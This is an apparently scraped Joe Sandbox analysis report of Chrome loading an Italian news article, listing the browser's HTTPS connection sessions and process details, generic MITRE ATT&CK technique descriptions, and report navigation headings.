2256	192.168.2.4	52468	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2257	192.168.2.4	52473	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2258	192.168.2.4	52472	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2259	192.168.2.4	52474	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2260	192.168.2.4	52467	3.126.34.182	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2261	192.168.2.4	52475	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2262	192.168.2.4	52471	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2263	192.168.2.4	52476	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2264	192.168.2.4	52477	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2265	192.168.2.4	52478	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2266	192.168.2.4	52480	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2267	192.168.2.4	52479	74.119.119.139	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2268	192.168.2.4	52483	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2269	192.168.2.4	52486	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2270	192.168.2.4	52487	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2271	192.168.2.4	52484	51.222.39.186	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2272	192.168.2.4	52485	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2273	192.168.2.4	52491	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2274	192.168.2.4	52492	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2275	192.168.2.4	52488	3.126.34.182	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2276	192.168.2.4	52493	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2277	192.168.2.4	52494	52.85.61.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2278	192.168.2.4	52495	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2279	192.168.2.4	52496	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2280	192.168.2.4	52497	142.251.111.103	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2281	192.168.2.4	52503	192.184.68.228	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2282	192.168.2.4	52506	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2283	192.168.2.4	52508	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2284	192.168.2.4	52504	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2285	192.168.2.4	52507	52.54.57.187	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2286	192.168.2.4	52509	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2287	192.168.2.4	52511	157.240.229.35	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2288	192.168.2.4	52512	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2289	192.168.2.4	52513	142.250.31.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2290	192.168.2.4	52514	142.250.31.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2291	192.168.2.4	52516	3.162.128.169	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2292	192.168.2.4	52519	18.160.10.80	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2293	192.168.2.4	52518	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2294	192.168.2.4	52520	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2295	192.168.2.4	52521	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2296	192.168.2.4	52522	35.244.159.8	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2297	192.168.2.4	52523	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2298	192.168.2.4	52525	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2299	192.168.2.4	52526	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2300	192.168.2.4	52524	131.153.168.131	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2301	192.168.2.4	52531	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2302	192.168.2.4	52539	207.65.37.181	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2303	192.168.2.4	52538	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2304	192.168.2.4	52546	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2305	192.168.2.4	52547	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2306	192.168.2.4	52527	35.244.159.8	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2307	192.168.2.4	52543	68.67.178.10	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2308	192.168.2.4	52536	74.119.119.150	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2309	192.168.2.4	52533	85.114.159.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2310	192.168.2.4	52545	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2311	192.168.2.4	52532	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2312	192.168.2.4	52528	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2313	192.168.2.4	52540	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2314	192.168.2.4	52529	3.33.220.150	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2315	192.168.2.4	52535	74.214.196.131	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2316	192.168.2.4	52544	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2317	192.168.2.4	52542	45.137.176.88	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2318	192.168.2.4	52549	163.70.133.2	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2319	192.168.2.4	52548	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2320	192.168.2.4	52552	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2321	192.168.2.4	52550	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2322	192.168.2.4	52560	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2323	192.168.2.4	52557	207.65.37.181	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2324	192.168.2.4	52558	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2325	192.168.2.4	52556	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2326	192.168.2.4	52555	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2327	192.168.2.4	52574	54.156.21.247	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2328	192.168.2.4	52554	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2329	192.168.2.4	52569	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2330	192.168.2.4	52575	172.253.115.156	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2331	192.168.2.4	52594	3.225.218.10	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2332	192.168.2.4	52572	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2333	192.168.2.4	52563	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2334	192.168.2.4	52584	69.194.240.13	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2335	192.168.2.4	52564	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2336	192.168.2.4	52591	216.200.232.249	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2337	192.168.2.4	52577	172.253.62.154	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2338	192.168.2.4	52579	74.214.196.131	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2339	192.168.2.4	52561	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2340	192.168.2.4	52568	74.119.119.150	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2341	192.168.2.4	52565	68.67.178.10	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2342	192.168.2.4	52592	100.26.66.10	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2343	192.168.2.4	52593	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2344	192.168.2.4	52583	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2345	192.168.2.4	52585	52.70.229.134	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2346	192.168.2.4	52590	23.22.126.75	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2347	192.168.2.4	52571	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2348	192.168.2.4	52586	23.45.148.30	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2349	192.168.2.4	52598	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2350	192.168.2.4	52589	23.22.126.75	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2351	192.168.2.4	52605	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2352	192.168.2.4	52578	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2353	192.168.2.4	52588	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2354	192.168.2.4	52581	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2355	192.168.2.4	52567	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2356	192.168.2.4	52570	3.33.220.150	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2357	192.168.2.4	52582	35.244.159.8	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2358	192.168.2.4	52612	104.18.36.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2359	192.168.2.4	52566	172.253.62.154	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2360	192.168.2.4	52609	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2361	192.168.2.4	52603	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2362	192.168.2.4	52587	45.137.176.88	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2363	192.168.2.4	52607	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2364	192.168.2.4	52604	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2365	192.168.2.4	52580	85.114.159.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2366	192.168.2.4	52602	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2367	192.168.2.4	52599	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2368	192.168.2.4	52597	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2369	192.168.2.4	52610	35.71.139.29	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2370	192.168.2.4	52595	38.98.69.175	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2371	192.168.2.4	52608	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2372	192.168.2.4	52601	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2373	192.168.2.4	52573	51.68.39.188	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2374	192.168.2.4	52613	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2375	192.168.2.4	52606	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2376	192.168.2.4	52615	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2377	192.168.2.4	52616	67.220.226.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2378	192.168.2.4	52618	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2379	192.168.2.4	52619	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2380	192.168.2.4	52623	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2381	192.168.2.4	52621	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2382	192.168.2.4	52624	142.251.16.103	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2383	192.168.2.4	52636	34.98.64.218	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2384	192.168.2.4	52622	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2385	192.168.2.4	52627	54.156.21.247	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2386	192.168.2.4	52620	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2387	192.168.2.4	52626	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2388	192.168.2.4	52637	104.18.36.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2389	192.168.2.4	52645	104.18.25.173	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2390	192.168.2.4	52656	172.253.62.154	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2391	192.168.2.4	52629	69.194.240.13	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2392	192.168.2.4	52662	38.98.69.175	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2393	192.168.2.4	52633	216.22.16.56	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2394	192.168.2.4	52634	172.253.62.154	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2395	192.168.2.4	52617	67.220.226.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2396	192.168.2.4	52661	52.70.229.134	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2397	192.168.2.4	52635	104.18.36.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2398	192.168.2.4	52644	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2399	192.168.2.4	52665	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2400	192.168.2.4	52647	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2401	192.168.2.4	52641	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2402	192.168.2.4	52638	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2403	192.168.2.4	52667	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2404	192.168.2.4	52650	69.194.240.13	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2405	192.168.2.4	52625	69.194.240.13	443

Timestamp	Bytes transferred	Direction	Data

Target ID:	0
Start time:	09:50:50
Start date:	28/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:50:53
Start date:	28/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2204,i,5822441980925942090,17870143398896516678,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:50:56
Start date:	28/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 1000

Chrome Cache Entry: 1001

Chrome Cache Entry: 1002

Chrome Cache Entry: 1003

Chrome Cache Entry: 1004

Chrome Cache Entry: 1005

Chrome Cache Entry: 1006

Chrome Cache Entry: 1007

Chrome Cache Entry: 1008

Chrome Cache Entry: 1009

Chrome Cache Entry: 1010

Chrome Cache Entry: 1012

Chrome Cache Entry: 1013

Chrome Cache Entry: 1014

Chrome Cache Entry: 1015

Chrome Cache Entry: 1016

Chrome Cache Entry: 1017

Chrome Cache Entry: 1018

Chrome Cache Entry: 1019

Chrome Cache Entry: 1020

Chrome Cache Entry: 1021

Chrome Cache Entry: 1022

Chrome Cache Entry: 1023

Chrome Cache Entry: 1024

Chrome Cache Entry: 1025

Chrome Cache Entry: 1026

Chrome Cache Entry: 1027

Chrome Cache Entry: 1028

Chrome Cache Entry: 1029

Windows Analysis Report
https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica